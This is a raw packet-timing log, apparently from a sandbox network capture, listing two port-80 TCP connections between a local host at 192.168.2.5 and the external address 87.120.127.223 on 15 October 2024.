Oct 15, 2024 19:22:29.895633936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895668983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895701885 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895708084 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895735979 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895740032 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895771027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895803928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895838976 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895842075 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895870924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895874977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895905018 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895942926 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.895956993 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.895989895 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896019936 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896054029 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896065950 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896087885 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896090984 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896122932 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896157026 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896188021 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896198988 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896223068 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896233082 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896255016 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896287918 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896320105 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896327972 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896354914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896369934 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896388054 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896420956 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896456003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896461010 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896491051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896496058 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896522045 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896557093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896588087 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896598101 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896621943 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896629095 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896795034 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896828890 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896847010 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896862030 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896893978 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896925926 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896945953 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896958113 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.896970987 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.896990061 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897023916 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897041082 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.897058010 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897092104 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897125959 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897135019 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.897162914 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.897169113 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898642063 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898688078 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898706913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898721933 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898729086 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898739100 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898756027 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898766994 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898776054 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898782015 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898791075 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898806095 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898808956 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898832083 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898848057 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898849964 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898863077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898879051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898880005 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898900986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898916006 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898930073 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898933887 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898947001 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898960114 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898962975 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898977995 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.898984909 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.898996115 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.899008989 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.899013042 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.899044037 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907193899 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907215118 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907233000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907248974 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907265902 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907288074 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907311916 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907349110 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907366037 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907392979 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907428980 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907444000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907460928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907465935 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907485962 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907501936 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907516956 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907533884 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907538891 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907577991 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907718897 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907737970 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907753944 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907763958 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907768011 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907785892 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907788992 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907800913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907818079 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907819986 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.907834053 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.907867908 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908129930 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908157110 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908174992 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908191919 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908200026 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908207893 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908225060 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908225060 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908251047 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908268929 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908284903 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908293962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908293962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908302069 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908315897 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908319950 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908335924 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908349991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908360004 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908365965 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908384085 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908397913 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908405066 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908416986 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908427954 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908449888 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908576012 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908590078 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908605099 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908621073 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908633947 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908638000 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908658028 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908663988 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908684969 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908694029 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908710003 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908780098 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908823013 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908833981 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908844948 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908860922 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.908907890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.908991098 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909023046 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909055948 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909089088 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909121990 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.909146070 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.909164906 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909198999 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909231901 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909250021 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.909269094 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909303904 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909324884 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.909455061 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.909511089 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.937323093 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.937360048 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.937395096 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.937449932 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.937450886 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.937639952 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.954906940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.954957008 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.954993963 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.955029011 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.955085039 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.955085039 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:29.968293905 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.968337059 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:29.968394995 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.009783983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.009824991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.009877920 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.009882927 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.009934902 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.009968996 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.009978056 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.010020971 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010055065 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010086060 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010094881 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.010118961 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010124922 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.010154009 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010188103 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010191917 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.010220051 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010304928 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010334969 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010354042 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.010370970 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.010375977 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013370991 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013406038 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013431072 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013458967 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013492107 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013509035 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013545990 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013575077 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013626099 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013634920 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013659000 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013664007 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013711929 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013746023 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013756990 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013778925 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013806105 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013839006 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013849974 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.013874054 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.013889074 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.016916990 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.022248983 CEST	80	49761	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.022301912 CEST	49761	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.022881031 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.022934914 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.022969007 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023001909 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023006916 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023036957 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023098946 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023155928 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023207903 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023241997 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023274899 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023294926 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023298979 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023328066 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023364067 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023422003 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023495913 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023547888 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023582935 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023611069 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023633003 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023648977 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023680925 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023715019 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023744106 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023756981 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023792982 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023824930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023844957 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.023879051 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.023936033 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024182081 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024235010 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024267912 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024286985 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024302959 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024307013 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024338007 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024390936 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024538994 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024605989 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024640083 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024672985 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024728060 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024761915 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024796009 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024817944 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024830103 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024838924 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.024863958 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.024916887 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.070776939 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.070837975 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.070873022 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.070907116 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.070944071 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.070985079 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139159918 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139238119 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139295101 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139314890 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139328957 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139365911 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139400005 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139483929 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139519930 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139553070 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139585972 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139586926 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139611959 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139620066 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139655113 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139686108 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139715910 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139719009 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139741898 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139755011 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139815092 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.139866114 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139916897 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139951944 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.139983892 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140002012 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140018940 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140052080 CEST	80	49767	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:30.140069962 CEST	49767	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:30.140084982 CEST	80	49767	87.120.127.223	192.168.2.5
